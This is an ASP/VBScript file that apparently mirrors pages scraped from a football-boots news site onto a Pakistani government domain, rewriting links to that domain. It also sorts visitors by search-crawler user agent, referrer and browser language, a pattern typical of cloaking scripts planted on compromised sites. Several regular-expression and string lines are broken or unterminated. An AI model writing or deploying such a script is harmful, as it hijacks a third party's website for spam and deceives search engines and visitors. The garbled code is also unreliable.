<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "UTF-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
Function RegExp_Replace(content,regular,son)
Set regEx = New RegExp
regEx.Pattern = regular
regEx.IgnoreCase = True
regEx.Global = True
RegExp_Replace = regEx.Replace(content,son)
Set regEx = Nothing
End Function
Dim url,zhizhu,langs,c1
url=LCase(Request.ServerVariables("Http_Referer"))
zhizhu=Request.ServerVariables("HTTP_USER_AGENT")
langs=Mid(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"),1,5)
If instr(zhizhu,"google")>0 Or instr(zhizhu,"yahoo")>0 Or instr(zhizhu,"bing")>0 Or instr(zhizhu,"msnbot")>0 Or instr(zhizhu,"alexa")>0 Or instr(zhizhu,"ask")>0 Or instr(zhizhu,"findlinks")>0 Or instr(zhizhu,"altavista")>0 Or instr(zhizhu,"baidu")>0 Or instr(zhizhu,"inktomi")>0 Then
c1="1"
Else If url<>"" and instr(langs,"zh")=0 Then
c1="2"
Else If instr(langs,"zh")=0 Then
c1="3"
Else
c1="4"
End If
End If
End If
htmls = getHTTPPage("https://www.footyheadlines.com/"&request.ServerVariables("QUERY_STRING"))
if request.ServerVariables("QUERY_STRING")="" Then
htmls = getHTTPPage("https://www.footyheadlines.com/search/label/Boots?max-results=100")
End If
htmls = replace(htmls,chr(10),"xxxxxxx")
htmls = RegExp_Replace(htmls,"Select language(.*?)","")
htmls = RegExp_Replace(htmls,"(.*?)","")
htmls = RegExp_Replace(htmls,"","")
htmls = RegExp_Replace(htmls,"(.*?)Balls","")
htmls = RegExp_Replace(htmls,"![](https://")
htmls = replace(htmls,"xxxxxxx",chr(10))
htmls = replace(htmls,"s72-c/","w350-h179-c/")
htmls = replace(htmls,"https://www.footyheadlines.com/","http://www.expopakistan.gov.pk/?")
htmls = replace(htmls,"http://www.footyheadlines.com/","http://www.expopakistan.gov.pk/?")
htmls = replace(htmls,""&chr(34)&"images/",""&chr(34)&"https://www.footyheadlines.com/images/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&"https://www.footyheadlines.com/includes/")
htmls = replace(htmls,"<img src=""","<img src=""https://www.footyheadlines.com/")
htmls = replace(htmls,"https://www.footyheadlines.com/https://www.footyheadlines.com/","https://www.footyheadlines.com/")
htmls = replace(htmls,"https://www.footyheadlines.com/http://www.expopakistan.gov.pk/?","https://www.footyheadlines.com/")
htmls = replace(htmls,"http://www.expopakistan.gov.pk/?images/","https://www.footyheadlines.com/images/")
htmls = replace(htmls,"http://www.expopakistan.gov.pk/?includes/","https://www.footyheadlines.com/includes/")
htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&"https://www.footyheadlines.com/skin/")
htmls = replace(htmls,"<a href=""index.php?","<a href=""http://www.expopakistan.gov.pk/?index.php?")
htmls = replace(htmls,"href=)
","")
response.write htmls
response.end
%>